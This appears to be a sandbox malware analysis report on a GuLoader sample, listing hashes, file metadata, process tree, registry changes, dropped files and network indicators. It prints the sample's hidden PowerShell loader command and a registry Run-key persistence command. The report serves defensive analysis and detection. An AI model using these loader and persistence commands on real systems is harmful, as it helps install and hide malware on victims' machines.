| File name: | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa |
| Full analysis: | https://app.any.run/tasks/28198632-6047-4e6d-bce2-0273ffd2772d |
| Verdict: | Malicious activity |
| Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
| Analysis date: | January 11, 2025, 00:41:04 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections |
| MD5: | FAC446C07F42F8F4EDA2A19CB9D9D0BD |
| SHA1: | ACCD44EB595CA1E3AD4838DBDBEF675CC78FC5F0 |
| SHA256: | 2F40FC99825DFFF92307180E83FDA33B28EFB3033954BE78D01BA22BB1ADF7FA |
| SSDEEP: | 24576:jsFNh8T6xeU0BTbulqVxEHSI1sIVGUq8Pqy:wXho6xeFBTbulqHEHSI1s0Gqqy |
MALICIOUS
GULOADER has been detected
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
Run PowerShell with an invisible window
- powershell.exe (PID: 3876)
Changes the autorun value in the registry
- reg.exe (PID: 1296)
SUSPICIOUS
Converts a specified value to a byte (POWERSHELL)
- powershell.exe (PID: 3876)
Starts POWERSHELL.EXE for commands execution
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
Starts CMD.EXE for commands execution
- msiexec.exe (PID: 7124)
Detects reflection assembly loader (YARA)
- powershell.exe (PID: 3876)
Uses REG/REGEDIT.EXE to modify registry
- cmd.exe (PID: 1328)
INFO
The sample compiled with english language support
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
Reads the computer name
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
Creates files or folders in the user directory
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
- msiexec.exe (PID: 7124)
Checks supported languages
- 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe (PID: 3952)
The process uses the downloaded file
- powershell.exe (PID: 3876)
- msiexec.exe (PID: 7124)
Gets data length (POWERSHELL)
- powershell.exe (PID: 3876)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3876)
Checks whether the specified file exists (POWERSHELL)
- powershell.exe (PID: 3876)
Converts byte array into ASCII string (POWERSHELL)
- powershell.exe (PID: 3876)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 3876)
Reads security settings of Internet Explorer
- msiexec.exe (PID: 7124)
Checks proxy server information
- msiexec.exe (PID: 7124)
Reads the software policy settings
- msiexec.exe (PID: 7124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| ProductVersion: | 1.0.0.0 |
|---|---|
| ProductName: | rysleren |
| LegalCopyright: | disarmaments lemonish abscessernes |
| InternalName: | patruljer.exe |
| FileVersion: | 1.0.0.0 |
| FileDescription: | tabelnavnet gratialerne svingplovenes |
| Comments: | lipacidemia |
| CharacterSet: | Windows, Latin1 |
| LanguageCode: | English (U.S.) |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x0000 |
| ProductVersionNumber: | 1.0.0.0 |
| FileVersionNumber: | 1.0.0.0 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 4 |
| ImageVersion: | 6 |
| OSVersion: | 4 |
| EntryPoint: | 0x32a0 |
| UninitializedDataSize: | 2048 |
| InitializedDataSize: | 186368 |
| CodeSize: | 25600 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| TimeStamp: | 2015:12:27 06:26:07+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
Total processes
133
Monitored processes
8
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3952 | "C:\Users\admin\AppData\Local\Temp\2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe" | C:\Users\admin\AppData\Local\Temp\2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: tabelnavnet gratialerne svingplovenes Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3876 | powershell.exe -windowstyle hidden "$Noerror=Get-Content -Raw 'C:\Users\admin\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror)" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5712 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7124 | "C:\WINDOWS\SysWOW64\msiexec.exe" | C:\Windows\SysWOW64\msiexec.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1328 | "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)" | C:\Windows\SysWOW64\cmd.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2624 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1296 | REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)" | C:\Windows\SysWOW64\reg.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2192 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
8 671
Read events
8 668
Write events
3
Delete events
0
Modification events
| (PID) Process: | (7124) msiexec.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\asserts |
| Operation: | write | Name: | Alkoxide |
Value: $Noerror=Get-Content -Raw 'C:\Users\admin\AppData\Roaming\Remontado113\Biennalens.Com';$Televiserendes=$Noerror.SubString(54649,3);.$Televiserendes($Noerror) | |||
| (PID) Process: | (7124) msiexec.exe | Key: | HKEY_CURRENT_USER\Environment |
| Operation: | write | Name: | Internettets |
Value: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | |||
| (PID) Process: | (1296) reg.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Fotokopiering |
Value: %Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion) | |||
Executable files
0
Suspicious files
9
Text files
6
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3952 | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | C:\Users\admin\AppData\Roaming\Remontado113\bulkskibenes.Omd | binary | |
MD5:E1EDEC1FC3CB37E70112D6EA4BDD2EB7 | SHA256:2ECD980408B43394D7C03ADE18C8A5A29F392CE05C2461A7D5D020DF90124197 | |||
| 3952 | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | C:\Users\admin\AppData\Roaming\Remontado113\Biennalens.Com | text | |
MD5:52289345C34D6F9F4D3B673FF3D2E4FB | SHA256:B9BEDE61E2FD4CD0EC5F1B51B4CF472DADC1DB5D3645E18F7DF5E295D639A90A | |||
| 3952 | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | C:\Users\admin\AppData\Roaming\Remontado113\chick.omf | abr | |
MD5:97C4358F556DC600AD79882C3BC816EC | SHA256:1D33FC28EB0C67AD42186F7DA4B35DAB4448D6F696A9BE2A3BD483EE5E9AF925 | |||
| 3952 | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | C:\Users\admin\AppData\Roaming\Remontado113\Moesgaard.txt | text | |
MD5:D75BED6C51B170836E62AAE42E203950 | SHA256:E471B1411EC12CBF39851A19C522AF567AFC1BB2A1652ACB53AFC63DCFDDE4ED | |||
| 3876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dep4jcbc.fsr.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3952 | 2f40fc99825dfff92307180e83fda33b28efb3033954be78d01ba22bb1adf7fa.exe | C:\Users\admin\AppData\Roaming\Remontado113\Sensationslystens.kla | binary | |
MD5:8EE4024A0F4219E2324DF2B5ACD9F1BB | SHA256:81EA4BD84A1222083AACD4EA3D8363AF1E3EE588854E137A79C35917457CF384 | |||
| 3876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_utyv4glx.5ka.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_blw4fjou.rdv.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_biihcxnb.411.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7124 | msiexec.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:7B45AFE0EAC682AFEE3A0EDE8FE4026F | SHA256:57A6225E569BCBD85B4004AA846BD884A342C5CC83CAA8DAE847DB2E61E88267 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
33
DNS requests
20
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5064 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
7156 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 2.16.241.19:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3220 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6236 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
7156 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7124 | msiexec.exe | GET | 200 | 142.250.184.195:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
7124 | msiexec.exe | GET | 200 | 142.250.184.195:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 2.16.241.19:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
3220 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5064 | SearchApp.exe | 2.23.227.215:443 | www.bing.com | Ooredoo Q.S.C. | QA | whitelisted |
1176 | svchost.exe | 40.126.32.133:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1176 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
1076 | svchost.exe | 2.23.242.9:443 | go.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
arc.msn.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Potentially Bad Traffic | ET INFO Commonly Abused File Sharing Domain in DNS Lookup (filetransfer .io) |
— | — | Potentially Bad Traffic | ET INFO Commonly Abused File Sharing Domain (filetransfer .io in TLS SNI) |